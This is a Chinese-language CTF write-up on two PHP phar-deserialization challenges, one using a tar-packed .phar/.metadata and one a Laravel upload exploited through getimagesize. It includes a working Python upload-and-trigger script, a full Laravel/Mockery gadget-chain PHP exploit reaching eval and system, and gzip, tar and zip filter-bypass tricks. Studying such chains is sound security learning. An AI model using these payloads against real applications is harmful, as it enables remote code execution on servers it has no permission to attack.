unser_name writeup

根据题目提示和界面功能提示,有上传功能且反序列化,初步考虑phar

image-20211127161920227

一般反序列化都需要白盒代码来构造pop链,所以先看注释有没有源代码,发现提示www.zip,下载下来。

(本地测试时代码经过修改)

image-20211127162137224

猜测反序列化链子出口是$find_this指向的函数,$name1->var=$name2,再用POST传对应的函数。

image-20211127162402757

由于后缀检查是白名单,不知道已知的解析漏洞情况下就不考虑绕后缀了,不过思路上也更加确定是phar,毕竟phar可以改后缀,并且有可控参数的操控文件函数file_exist触发

考虑绕过黑名单,看到这几个文件头第一时间就想到虎符杯线下的tinypng,对phar再gzip一次就可以绕过__HALT_COMPILER,但是ban了gzip bzip2 zip 所以只剩下tar了。

在php序列化和反序列化的有关源码中image-20211127162855942

1
memcmp(entry.filename, ".phar/.metadata", sizeof(".phar/.metadata")-1

这一行匹配文件名是否以.phar/.metadata开头,且只匹配开头,所以绕过下面的In_array直接在后面加上无意义字符就可以了。接下来php就会使用phar_tar_process_metadata和phar_parse_metadata(&metadata)开始反序列化了。

最后payload:

制作.phar/.metadata123

image-20211127163314452

生成test.tar

image-20211127163417690

改名为test.png上传

通过给出的参数算出文件名cddc9385153d0b6c5c80a6a94dc9219c.gif

image-20211127163700501

使用phar协议,func传phpinfo尝试发现成功

接下来爆破create_function生成的函数的函数名称

image-20211127163849116

拿到结果

虎符杯线下tinypng writeup

源码分析

buuoj复现

拿到源码 laravel框架先关注路由和相对应的控制器。

image-20211128133948839

‘/‘路由下存在着IndexController,跟进fileUpload方法

image-20211128134126804

在laravel框架中封装了一个Request类来存放有关请求内容,这里从$req中拿出上传的file并进行有关过滤,其中过滤掉了HALT_COMPILER这一phar的标志头,接下来改名字存放到uploads中。

由于过滤内容很严格且后缀过滤是白名单,又不存在已知的解析漏洞,所以不考虑单纯的文件上传。

换’/image’路由下的ImageController审计

image-20211128134812365

handle方法接受一个image参数输入,后缀必须为png,发现imgcompress类和compressimg方法,跟进一下compressimg

image-20211128134936802

跟进openImage()

image-20211128134952445

发现getimagesize(),该方法可以触发phar反序列化。

到这个地方思路就非常明确,只要$this->src可控,就可以通过上传的phar文件来进行反序列化操作。

image-20211128135240061

发现$this->src是在构造类的时候进行的赋值。

image-20211128135318338

而类的实例化时使用的对应参数为$source $source又等于input(‘image’),故可控。

接下来就是通过找gadget chain通过反序列化来进行漏洞利用了,上phpggc一把梭。

payload和poc

在buuoj上复现远程死活打不通,查询相关题解发现也有人打不通,就不死磕了,记录个脚本日后来测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding=utf-8 -*-
# Author:Crispr
# 注意放在phpggc根目录运行

import os
import requests
import sys
import re

url = "http://b6a64602-069f-454e-a440-bfa1cfa72d57.node3.buuoj.cn/"
session = requests.session()

def create_gzfile():
cmd = r"""php -d'readonly=0' ./phpggc Laravel/RCE6 "system('whoami');" --phar phar > crispr.phar"""
os.system(cmd)
cmd = r"gzip crispr.phar"
os.system(cmd)
cmd = r"mv crispr.phar.gz crispr.phar.png"
os.system(cmd)



def get_upload_png_path():
files = {"file" : ("crispr.phar.png" , open("./crispr.phar.png","rb+"),"image/png")}
r = session.post(url,files=files)
if r.status_code == 200:
text = r.text
#print(text)
path = re.findall('path: (.*?)\.png',text)[0]
#print(path)
return path
else:
print("upload false")
return False

def deserialize(path):
url1 = url + "image?image=phar://../storage/app/" + path + ".png"
print(url1)
r = session.get(url1)
print(r.text)

if __name__ == "__main__":
create_gzfile()
path = get_upload_png_path()
print(path)
deserialize(path)
os.unlink("crispr.phar.png")

跟进一下phpggc laravel rce5的链子

这个链子实际上是Laravel框架中mockery组件的漏洞

入口在PendingBroadcast.php的__destruct

image-20211128150722137

可以调用任意类的dispach方法

这里选用了dispatcher.php

image-20211128150952069

我们需要的是$this->dispatchToQueue这个方法,就要使前两个条件均成立,而后文会分析this->queueResolver可控,先跟进一下commandShouldBequeued

image-20211128151614038

$command需要为实现ShouldQueue接口的实例,这里使用了BroadCastEvent.php

image-20211128151728252

回到先前的需要满足两个IF条件后利用的方法dispatchToQueue

跟进一下

image-20211128151045404

可以看到此处调用了call_user_func,如果两个参数都可控就可以实现命令执行。

image-20211128151131963

看一下构造函数,发现$this->queueResolver可控

而$connection是$command的成员,$command可控,则$connection也可控,所以此处就可以实现命令执行

全局搜索一下eval方法,发现存在

1
2
3
4
5
6
7
8
9
10
11
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}

eval("?>" . $definition->getCode());
}
}

该EvalLoader类的load方法存在eval()

call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例,也即是意味着我们connection需要为MockDefinition类的实例,并且要执行eval,必须使得if返回false

接追溯到MockDefinition类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}

全局搜索getName()方法,并且实现MockConfiguration接口,找到了MockConfiguration.php中:

1
2
3
4
public function getName()
{
return $this->name; //$this->name是可控的
}

因此当我们使得$this->config为该类时,那么调用getName能够返回任意值,从而使得该任意值组成的类不存在而调用eval,而$this->code就是拼接在eval中的命令

phpggc laravel rce5 exp

摘自网上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php

namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $event;
//__destruct析构方法是调用$this->events类的dispatch方法,这里是调用Dispatcher类的dispatch方法
protected $events;
public function __construct($events, $event)
{
//event是dispatch方法的参数,也就是$command,而$command需要实现ShouldQueue接口,因此这里$event是选择BroadcastEvent类
$this->event = $event;
$this->events = $events;
}
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent{
//这里$connection作为call_user_func的第二个参数,也就是静态类EvalLoader中load()方法的参数,也就是$definition
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}

namespace Illuminate\Bus{
class Dispatcher
{

public function __construct($queueResolver)
{
//queueResolver是后续call_user_func_array()的第一个参数,这里我们需要调用静态类方法执行eval
$this->queueResolver = $queueResolver;
}
//$command需要实现ShouldQueue接口时commandShouldBeQueued方法才会返回真,这里使用BroadcastEvent类
public function dispatch($command)
{
//需要使三目运算符的判断式为真,才能调用dispatchToQueue方法进而调用call_user_func_array
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}
}
}

namespace Mockery\Loader{
use Mockery\Generator\MockDefinition;
class EvalLoader
{
//这里$definition需要实现MockDefinition接口,因此选取的是MockDefinition类
public function load(MockDefinition $definition){}
}
}

namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
//这里$this->config设置为MockConfiguration类,其getname方法和参数可控能够得到任意字符作为getClassName()的返回值
public function __construct($config, $code)
{
$this->config = $config;
//$this->code 作为EvalLoader类中load方法中eval()的拼接参数,也就是我们需要实现命令执行的地方
$this->code = $code;
}
}
}
namespace Mockery\Generator{
class MockConfiguration{
protected $name;
public function __construct($name)
{
$this->name = $name;
}
}
}

namespace{
//先使得$this->name返回crispr,这样调用class_exists()时没有crispr类肯定会返回false
$mockconfiguration = new Mockery\Generator\MockConfiguration("crispr");
//使得$this->config为MockConfiguration类后调用getname方法,后面为eval的拼接参数,这里写个一句话
$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,'<?php echo system("cat /flag");?>');
$evalloader = new \Mockery\Loader\EvalLoader();
//MockDefinition类实现了MockDefinition接口作为load方法的参数
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($mockdefinition);
//该dispatcher调用EvalLoader的load方法
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,"load"));
//第一个参数为调用Dispatcher类的dispact方法,第二个参数是实现ShouldQueue的$command
$exp = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($exp); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}

由unser_name和tinypng收获的总结

生成完phar再执行gzip phar.phar或者bzip2 phar.phar

效果如下。可以过黑名单检测
image-20211128152813712

将序列化的数据写入.phar/.metadataXXXX中,再回退上一级执行

1
tar -cvf test.tar .phar/

再用phar协议解析对应的tar包也可以触发反序列化

Zip:

1
2
3
4
5
6
$a=serialize(new a());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();

不过zip的注释里不能有00.高版本可以用大写S,16进制替换%00。注意命名空间类的\和16进制的\冲突。
解决:\替换\5c
别把不是S里的\也替换了哦。

从源码角度看phar为什么能解析这几类压缩包

深入理解Zend执行引擎(PHP5) - GongYong (gywbd.github.io)

算是前置知识,现在基本看不懂,日后再来。

从源码角度分析

从虎符线下CTF深入反序列化利用 | (guokeya.github.io)

识别文件头,识别文件名。

debug插件没整明白,暂时先不跟了。

end